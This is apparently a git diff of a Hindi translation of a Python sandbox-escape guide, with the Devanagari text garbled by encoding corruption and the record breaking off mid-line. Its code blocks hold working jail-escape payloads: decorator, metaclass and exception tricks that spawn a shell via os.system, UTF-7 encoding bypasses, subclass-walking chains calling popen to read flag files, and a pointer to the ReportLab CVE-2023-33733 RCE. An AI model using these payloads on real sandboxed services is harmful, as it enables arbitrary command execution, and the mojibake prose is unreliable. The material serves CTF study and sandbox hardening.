рд▓реМрдЯрд╛рддрд╛ рд╣реИред +- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation тЖТ RCE (CVE-2023-33733). рдпрд╣ rl_safe_eval рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ evaluated attributes (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, font color) рд╕реЗ function.__globals__ рдФрд░ os.system рддрдХ рдкрд╣реБрдБрдЪрддрд╛ рд╣реИ рдФрд░ рд░реЗрдВрдбрд░рд┐рдВрдЧ рдХреЛ рд╕реНрдерд┐рд░ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реИрдз рдорд╛рди рд▓реМрдЯрд╛рддрд╛ рд╣реИред {{#ref}} reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md {{#endref}} -## рдСрдкрд░реЗрдЯрд░реНрд╕ рдФрд░ рд╢реЙрд░реНрдЯ рдЯреНрд░рд┐рдХреНрд╕ +## рдСрдкрд░реЗрдЯрд░реНрд╕ рдФрд░ рдЫреЛрдЯреА рддрд░рдХреАрдмреЗрдВ ```python # walrus operator allows generating variable inside a list ## everything will be executed in order @@ -143,9 +144,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` -## рдПрдиреНрдХреЛрдбрд┐рдВрдЧреНрд╕ (UTF-7) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ +## рдПрдиреНрдХреЛрдбрд┐рдВрдЧреНрд╕ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ (UTF-7) -In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рджрд┐рдЦрд╛рдИ рджреЗрдиреЗ рд╡рд╛рд▓реЗ sandbox рдХреЗ рдЕрдВрджрд░ arbitrary python code рд▓реЛрдб рдФрд░ execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: +рдЗрд╕ [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) рдореЗрдВ UFT-7 рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ apparent sandbox рдХреЗ рдЕрдВрджрд░ arbitrary python code рдХреЛ рд▓реЛрдб рдФрд░ execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: ```python assert b"+AAo-".decode("utf_7") == "\n" @@ -156,13 +157,13 @@ return x #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` -рдЗрд╕реЗ рдЕрдиреНрдп encodings рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЬреИрд╕реЗ `raw_unicode_escape` рдФрд░ `unicode_escape`ред +рдЗрд╕реЗ рдЕрдиреНрдп рдПрдиреНрдХреЛрдбрд┐рдВрдЧреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдмрд╛рдЗрдкрд╛рд╕ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЬреИрд╕реЗ `raw_unicode_escape` рдФрд░ `unicode_escape`ред -## Python рдирд┐рд╖реНрдкрд╛рджрди рдмрд┐рдирд╛ calls +## рдХреЙрд▓реНрд╕ рдХреЗ рдмрд┐рдирд╛ Python рдирд┐рд╖реНрдкрд╛рджрди -рдпрджрд┐ рдЖрдк рдПрдХ python jail рдХреЗ рдЕрдВрджрд░ рд╣реИрдВ рдЬреЛ **рдЖрдкрдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛**, рддреЛ рднреА рдХреБрдЫ рддрд░реАрдХреЗ рд╣реИрдВ рдЬрд┐рдирд╕реЗ рдЖрдк **arbitrary functions, code** рдФрд░ **commands** рдХреЛ execute рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА python jail рдХреЗ рдЕрдВрджрд░ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ **doesn't allow you to make calls**, рддрдм рднреА рдХреБрдЫ рддрд░реАрдХреЗ рд╣реИрдВ рдЬрд┐рдирд╕реЗ рдЖрдк **execute arbitrary functions, code** рдФрд░ **commands** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -### RCE рдХреЗ рд╕рд╛рде [decorators](https://docs.python.org/3/glossary.html#term-decorator) +### RCE [decorators](https://docs.python.org/3/glossary.html#term-decorator) рдХреЗ рд╕рд╛рде ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @@ -186,11 +187,11 @@ class _:pass ``` ### RCE creating objects and overloading -рдпрджрд┐ рдЖрдк **declare a class** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕ class рдХрд╛ **create an object** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдХреБрдЫ **write/overwrite different methods** рдмрдирд╛/рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╕реАрдзреЗ рдХреЙрд▓ рдХрд┐рдП рдмрд┐рдирд╛ **triggered** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдпрджрд┐ рдЖрдк **declare a class** рдФрд░ рдЙрд╕ class рдХрд╛ **create an object** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдРрд╕реЗ **write/overwrite different methods** рд▓рд┐рдЦ/рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдмрд┐рдирд╛ рдЙрдиреНрд╣реЗрдВ рд╕реАрдзреЗ рдХреЙрд▓ рдХрд┐рдП рд╣реБрдП рднреА **triggered** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред #### RCE with custom classes -рдЖрдк рдХреБрдЫ **class methods** рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ (_by overwriting existing class methods or creating a new class_) рддрд╛рдХрд┐ рд╡реЗ рд╕реАрдзреЗ рдХреЙрд▓ рдХрд┐рдП рдмрд┐рдирд╛ **execute arbitrary code** рдХрд░ рд╕рдХреЗрдВ рдЬрдм рд╡реЗ **triggered** рд╣реЛрдВред +рдЖрдк рдХреБрдЫ **class methods** рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (_by overwriting existing class methods or creating a new class_) рддрд╛рдХрд┐ рдЙрдиреНрд╣реЗрдВ **execute arbitrary code** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдЬрдм рд╡реЗ **triggered** рд╣реЛрдВ, рдмрд┐рдирд╛ рдЙрдиреНрд╣реЗрдВ рд╕реАрдзреЗ рдХреЙрд▓ рдХрд┐рдПред ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -242,7 +243,7 @@ __ixor__ (k ^= 'import os; os.system("sh")') ``` #### [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) рдХреЗ рд╕рд╛рде рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рдирд╛ -metaclasses рд╣рдореЗрдВ рдЬреЛ рдореБрдЦреНрдп рдмрд╛рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ рд╡рд╣ рдпрд╣ рд╣реИ рдХрд┐ рд╣рдо **constructor рдХреЛ рд╕реАрдзреЗ рдХреЙрд▓ рдХрд┐рдП рдмрд┐рдирд╛ рдХрд┐рд╕реА class рдХрд╛ instance рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ**, рдпрд╣ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдо target class рдХреЛ metaclass рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рдирдИ class рдмрдирд╛рддреЗ рд╣реИрдВред +рдореБрдЦреНрдп рдмрд╛рдд рдЬреЛ metaclasses рд╣рдореЗрдВ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ рд╡рд╣ рдпрд╣ рд╣реИ рдХрд┐ рд╣рдо target class рдХреЛ metaclass рдмрдирд╛рдХрд░ рдПрдХ рдирдпрд╛ class рдмрдирд╛рдХрд░ рд╕реАрдзреЗ рд░реВрдк рд╕реЗ **make an instance of a class, without calling the constructor** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -259,7 +260,7 @@ Sub['import os; os.system("sh")'] ``` #### exceptions рдХреЗ рд╕рд╛рде objects рдмрдирд╛рдирд╛ -рдЬрдм рдПрдХ **exception рдЯреНрд░рд┐рдЧрд░** рд╣реЛрддрд╛ рд╣реИ рддреЛ **Exception** рдХрд╛ рдПрдХ object **рдмрдирд╛рдпрд╛** рдЬрд╛рддрд╛ рд╣реИ рдмрд┐рдирд╛ рдЖрдкрдХреЛ constructor рдХреЛ рд╕реАрдзреЗ рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдЬрд░реВрд░рдд рдкрдбрд╝реЗ (рдПрдХ рддрд░рдХреАрдм [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): +рдЬрдм рдПрдХ **exception trigger рд╣реЛрддрд╛ рд╣реИ** рддреЛ **Exception** рдХрд╛ рдПрдХ object **рдмрди рдЬрд╛рддрд╛ рд╣реИ** рдмрд┐рдирд╛ рдЖрдкрдХреЛ constructor рдХреЛ рд╕реАрдзреЗ рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдЬрд╝рд░реВрд░рдд рдкрдбрд╝реЗ (рдПрдХ trick [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): ```python class RCE(Exception): def __init__(self): @@ -279,7 +280,7 @@ k + 'import os; os.system("sh")' #RCE abusing __add__ ## You can also use the tricks from the previous section to get RCE with this object ``` -### рдЕрдзрд┐рдХ RCE +### рдФрд░ RCE ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ # If sys is imported, you can sys.excepthook and trigger it by triggering an error @@ -301,7 +302,7 @@ __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` -### builtins рд╕рд╣рд╛рдпрддрд╛ рдФрд░ рд▓рд╛рдЗрд╕реЗрдВрд╕ рдХреЗ рд╕рд╛рде рдлрд╝рд╛рдЗрд▓ рдкрдврд╝реЗрдВ +### builtins help рдФрд░ license рдХреЗ рд╕рд╛рде рдлрд╝рд╛рдЗрд▓ рдкрдврд╝реЗрдВ ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help @@ -315,17 +316,17 @@ pass - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html) - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html) -рдпрджрд┐ рдЖрдк **`__builtins__`** рдСрдмреНрдЬреЗрдХреНрдЯ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ import рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдпрд╣рд╛рдБ рдЖрдЦрд┐рд░реА рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рджрд┐рдЦрд╛рдП рдЧрдП рдЕрдиреНрдп string representation рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ): +рдпрджрд┐ рдЖрдк **`__builtins__`** рдСрдмреНрдЬреЗрдХреНрдЯ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк libraries import рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдпрд╣рд╛рдБ рдЕрдиреНрдп string representation рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдкрд┐рдЫрд▓реЗ рд╕реЗрдХреНрд╢рди рдореЗрдВ рджрд┐рдЦрд╛рдП рдЧрдП рд╣реИрдВ): ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` -### Builtins рдирд╣реАрдВ +### рдмрд┐рд▓реНрдЯрд┐рдиреНрд╕ рдирд╣реАрдВ -рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ `__builtins__` рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдЖрдк рдХреБрдЫ рднреА import рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ рдФрд░ рди рд╣реА рдлрд╝рд╛рдЗрд▓реЗрдВ рдкрдврд╝ рдпрд╛ рд▓рд┐рдЦ рдкрд╛рдПрдВрдЧреЗ рдХреНрдпреЛрдВрдХрд┐ **рд╕рднреА global рдлрд╝рдВрдХреНрд╢рдиреНрд╕** (рдЬреИрд╕реЗ `open`, `import`, `print`...) **рд▓реЛрдб рдирд╣реАрдВ рд╣реЛрддреЗ**.\ -рд╣рд╛рд▓рд╛рдБрдХрд┐, **рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ python рдореЗрдореЛрд░реА рдореЗрдВ рдХрдИ modules import рдХрд░рддрд╛ рд╣реИ**ред рдпреЗ modules рдорд╛рдореВрд▓реА рд▓рдЧ рд╕рдХрддреЗ рд╣реИрдВ, рдкрд░ рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдЙрдирдХреЗ рдЕрдВрджрд░ **also importing dangerous** functionalities рднреА рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ access рдХрд░рдХреЗ рдпрд╣рд╛рдБ рддрдХ рдХрд┐ **arbitrary code execution** рднреА рд╣рд╛рд╕рд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ `__builtins__` рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ рддреЛ рдЖрдк рдХреБрдЫ рднреА import рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдБрдЧреЗ рдФрд░ рди рд╣реА рдлрд╛рдЗрд▓реЗрдВ рдкрдврд╝ рдпрд╛ рд▓рд┐рдЦ рдкрд╛рдПрдБрдЧреЗ рдХреНрдпреЛрдВрдХрд┐ **рд╕рднреА рд╡реИрд╢реНрд╡рд┐рдХ рдлрд╝рдВрдХреНрд╢рдВрд╕** (рдЬреИрд╕реЗ `open`, `import`, `print`...) **рд▓реЛрдб рдирд╣реАрдВ рд╣реЛрддреЗ**.\ +рд╣рд╛рд▓рд╛рдБрдХрд┐, **by default python imports a lot of modules in memory**ред рдпреЗ рдореЙрдбреНрдпреВрд▓ рдирд┐рд░реНрджреЛрд╖ рд▓рдЧ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдЕрдкрдиреЗ рдЕрдВрджрд░ **also importing dangerous** рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдПрдБ рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдПрдХреНрд╕реЗрд╕ рдХрд░рдХреЗ рдпрд╣рд╛рдБ рддрдХ рдХрд┐ **arbitrary code execution** рднреА рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -рдирд┐рдореНрди рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреИрд╕реЗ рдЗрди рд▓реЛрдб рдХрд┐рдП рдЧрдП "**benign**" modules рдореЗрдВ рд╕реЗ рдХреБрдЫ рдХрд╛ **abuse** рдХрд░рдХреЗ рдЙрдирдХреЗ рдЕрдВрджрд░ рдХреА **dangerous** **functionalities** рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред +рдирд┐рдореНрди рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреИрд╕реЗ рдЗрди рд▓реЛрдб рдХрд┐рдП рдЧрдП рдореЙрдбреНрдпреВрд▓реНрд╕ рдХреЗ рдХреБрдЫ рд╣рд┐рд╕реНрд╕реЛрдВ рдХрд╛ **abuse** рдХрд░рдХреЗ рдЙрдирдХреЗ рдЕрдВрджрд░ рдореМрдЬреВрдж "**benign**" рдореЙрдбреНрдпреВрд▓реЛрдВ рдХреА **dangerous** **functionalities** рддрдХ **access** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред **Python2** ```python @@ -367,7 +368,7 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` -[**Below there is a bigger function**](#recursive-search-of-builtins-globals) рдЙрди рджрд╕реЛрдВ/**рд╕реИрдХрдбрд╝реЛрдВ** **рдЬрдЧрд╣реЛрдВ** рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╣рд╛рдБ рдЖрдк **builtins** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред +[**рдиреАрдЪреЗ рдПрдХ рдмрдбрд╝рд╛ рдлрд╝рдВрдХреНрд╢рди рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ**](#recursive-search-of-builtins-globals) рдЬреЛ рджрд░реНрдЬрдиреЛрдВ/**рд╕реИрдХрдбрд╝реЛрдВ** **рдЬрдЧрд╣реЛрдВ** рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк **builtins** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред #### Python2 and Python3 ```python @@ -385,7 +386,7 @@ __builtins__["__import__"]("os").system("ls") ``` ## Globals and locals -**`globals`** рдФрд░ **`locals`** рдХреА рдЬрд╛рдБрдЪ рдХрд░рдирд╛ рдпрд╣ рдЬрд╛рдирдиреЗ рдХрд╛ рдПрдХ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рд╣реИ рдХрд┐ рдЖрдк рдХрд┐рд╕ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред +рдпрд╣ рдЬрд╛рдирдиреЗ рдХрд╛ рдПрдХ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рд╣реИ рдХрд┐ рдЖрдк рдХрд┐рди рдЪреАрдЬрд╝реЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ: **`globals`** рдФрд░ **`locals`** рдХреА рдЬрд╛рдБрдЪред ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } @@ -409,15 +410,15 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` -[**Below there is a bigger function**](#recursive-search-of-builtins-globals) рдРрд╕реЗ рджрд░реНрдЬрдиреЛрдВ/**рд╕реИрдХрдбрд╝реЛрдВ** **рд╕реНрдерд╛рди** рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╣рд╛рдБ рдЖрдк **globals** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред +[**Below there is a bigger function**](#recursive-search-of-builtins-globals) рджрд░реНрдЬрдиреЛрдВ/**рд╕реИрдХрдбрд╝реЛрдВ** **рд╕реНрдерд╛рди** рдЬрд╣рд╛рдБ рдЖрдк **globals** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдПред -## Arbitrary Execution рдХреА рдЦреЛрдЬ +## рдордирдорд╛рдирд╛ рдирд┐рд╖реНрдкрд╛рджрди рдЦреЛрдЬреЗрдВ -рдпрд╣рд╛рдБ рдореИрдВ рдмрддрд╛рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдБ рдХрд┐ рдХреИрд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ **more dangerous functionalities loaded** рдХреЛ рдЦреЛрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЕрдзрд┐рдХ рднрд░реЛрд╕реЗрдордВрдж exploits рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред +рдпрд╣рд╛рдБ рдореИрдВ рдмрддрд╛рдКрдБрдЧрд╛ рдХрд┐ рдХреИрд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ **рдФрд░ рдЕрдзрд┐рдХ рдЦрддрд░рдирд╛рдХ рд▓реЛрдб рдХреА рдЧрдИ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдПрдБ** рдЦреЛрдЬреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ рдФрд░ рдЕрдзрд┐рдХ рднрд░реЛрд╕реЗрдордВрдж exploits рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред -#### Accessing subclasses with bypasses +#### рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рд╕рд╛рде subclasses рддрдХ рдкрд╣реБрдБрдЪ -рдЗрд╕ technique рдХреЗ рд╕рдмрд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣рд┐рд╕реНрд╕реЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ **base subclasses рддрдХ рдкрд╣реБрдБрдЪ** рд╣реЛрдирд╛ред рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдпрд╣ `''.__class__.__base__.__subclasses__()` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдкрд░ **рдЕрдиреНрдп рд╕рдВрднрд╛рд╡рд┐рдд рддрд░реАрдХреЗ** рднреА рд╣реИрдВ: +рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рд╕рдмрд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣рд┐рд╕реНрд╕рд╛ рдпрд╣ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рд╣реИ рдХрд┐ рдЖрдк **base subclasses рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХреЗрдВ**ред рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдпрд╣ `''.__class__.__base__.__subclasses__()` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ **рдЕрдиреНрдп рд╕рдВрднрд╛рд╡рд┐рдд рддрд░реАрдХреЗ** рднреА рд╣реИрдВ: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -445,18 +446,18 @@ defined_func.__class__.__base__.__subclasses__() (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` -### Finding dangerous libraries loaded +### рд▓реЛрдб рдХреА рдЧрдИ рдЦрддрд░рдирд╛рдХ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдвреВрдБрдврдирд╛ -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрд╣ рдЬрд╛рдирддреЗ рд╣реБрдП рдХрд┐ рд▓рд╛рдЗрдмреНрд░реЗрд░реА **`sys`** рдХреЗ рд╕рд╛рде **import arbitrary libraries** рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЖрдк рдЙрди рд╕рднреА **modules loaded that have imported sys inside of them** рдХреА рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрд╣ рдЬрд╛рдирддреЗ рд╣реБрдП рдХрд┐ рд▓рд╛рдЗрдмреНрд░реЗрд░реА **`sys`** рдХреЗ рд╕рд╛рде **import arbitrary libraries** рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЖрдк рдЙрди рд╕рднреА **modules loaded that have imported sys inside of them** рдХреЛ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` -рдмрд╣реБрдд рд╕рд╛рд░реЗ рд╣реИрдВ, рдФрд░ **рд╣рдореЗрдВ рд╕рд┐рд░реНрдлрд╝ рдПрдХ рдЪрд╛рд╣рд┐рдП** to execute commands: +рдХрдИ рд╣реИрдВ, рдФрд░ **рд╣рдореЗрдВ рдХреЗрд╡рд▓ рдПрдХ рдЪрд╛рд╣рд┐рдП** to execute commands: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in 